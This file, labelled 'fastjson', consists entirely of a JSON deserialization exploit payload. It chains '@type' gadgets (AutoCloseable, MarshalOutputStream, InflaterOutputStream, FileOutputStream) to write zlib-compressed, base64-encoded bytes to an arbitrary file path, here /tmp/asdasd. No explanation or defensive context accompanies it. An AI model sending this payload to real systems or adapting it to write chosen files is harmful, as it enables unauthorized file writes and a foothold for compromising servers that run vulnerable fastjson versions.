fastjson

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}